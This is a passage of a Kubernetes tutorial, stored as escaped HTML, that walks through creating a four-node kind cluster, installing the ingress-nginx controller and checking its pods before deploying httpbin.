#96D0FF\"\u003eTCP\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e- \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003erole\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eworker\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e- \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003erole\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eworker\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e- \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003erole\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eworker\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWith this we've now generated a 4 node cluster where we have a single\ncontrol-plane and three workers.  Then we defined some extra configuration on\nthe control-plane:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ekubeadmConfigPatches\u003c/strong\u003e: We want to change the default configuration the\ncluster uses so it'll tag the nodes with the \u003ccode\u003eingress-ready\u003c/code\u003e label so the\ncontroller will use them.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eextraPortMappings\u003c/strong\u003e: allow the local host to make requests to the Ingress controller over ports 80/443\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003enode-labels\u003c/strong\u003e: only allow the ingress controller to run on specific node(s) matching the label selector\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSo now we can create the new cluster with the configuration. Save that config\nas \u003ccode\u003ekind_config.yml\u003c/code\u003e and then run:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekind\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecreate\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecluster\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--image\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekindest/node:v1.25.11\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--config\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekind_config.yml\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--name\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekind-multinode\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis time I've added a few additional flags on the commandline. \u003ccode\u003e--image\u003c/code\u003e\nallows us to use a different version of kubernetes and \u003ccode\u003e--name\u003c/code\u003e allows us to\nmake more than one cluster. So if you didn't destroy the first cluster you'll\nsee we have two of them now:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekind\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eclusters\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ekind\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ekind-multinode\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003ebut \u003ccode\u003ekind\u003c/code\u003e will swap the to the newest cluster by default:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econfig\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecurrent-context\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ekind-kind-multinode\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enode\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                           \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATUS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eROLES\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eVERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ekind-multinode-control-plane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrol-plane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e107\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1.25.11\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ekind-multinode-worker\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e88\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1.25.11\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ekind-multinode-worker2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e88\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1.25.11\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ekind-multinode-worker3\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e88\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1.25.11\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow we need to get the \u003ccode\u003eingress-nginx\u003c/code\u003e controller installed so we can start\nusing our cluster with ingress:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapply\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-f\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://raw.githubusercontent.com/kubernetes/ingress-nginx/main/deploy/static/provider/kind/deploy.yaml\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThe manifests contains \u003ccode\u003ekind\u003c/code\u003e specific patches to forward the hostPorts to the ingress controller, set taint tolerations and schedule it to the custom labelled node.\u003c/p\u003e\n\u003cp\u003eThis will take a little bit of time to get up and running, you can monitor it\nby running:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewait\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--namespace\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eingress-nginx\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--for=condition=ready\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epod\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--selector=app.kubernetes.io/component=controller\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--timeout=90s\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eor just manually check the status:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eall\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-n\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eingress-nginx\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                            \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eREADY\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATUS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e              \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRESTARTS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epod/ingress-nginx-admission-create-bbmlc\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCompleted\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e68\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epod/ingress-nginx-admission-patch-qlnr8\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCompleted\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e68\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epod/ingress-nginx-controller-5f748f78c8-6tc6b\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eContainerCreating\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e68\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                         \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eTYPE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCLUSTER-IP\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eEXTERNAL-IP\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePORT\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)                      \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eservice/ingress-nginx-controller\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e             \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNodePort\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e10.96\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.228.248\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e80\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:31771/TCP,443:31759/TCP\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e68\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eservice/ingress-nginx-controller-admission\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eClusterIP\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e10.96\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.180.126\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e443\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/TCP\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                      \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e68\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eREADY\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eUP-TO-DATE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAVAILABLE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003edeployment.apps/ingress-nginx-controller\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e68\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eDESIRED\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCURRENT\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eREADY\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ereplicaset.apps/ingress-nginx-controller-5f748f78c8\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e68\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCOMPLETIONS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eDURATION\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ejob.batch/ingress-nginx-admission-create\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e22\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e68\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ejob.batch/ingress-nginx-admission-patch\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e35\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e68\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eOnce \u003ccode\u003eingress-nginx-controller\u003c/code\u003e is in \u003ccode\u003eRunning\u003c/code\u003e state you are read to go!\u003c/p\u003e\n\u003ch1\u003eDeploying your first app\u003c/h1\u003e\n\u003cp\u003eTo prove that the cluster is working correctly we will deploy\n\u003ca href=\"https://github.com/Kong/httpbin\"\u003ehttpbin\u003c/a\u003e which is a nice little API server\nso we can prove everything is working.\u003c/p\u003e\n\u003cp\u003eCreate a \u003ccode\u003ehttbin.yml\u003c/code\u003e file and paste this into it:\u003c/p\u003e\n\u003cdiv 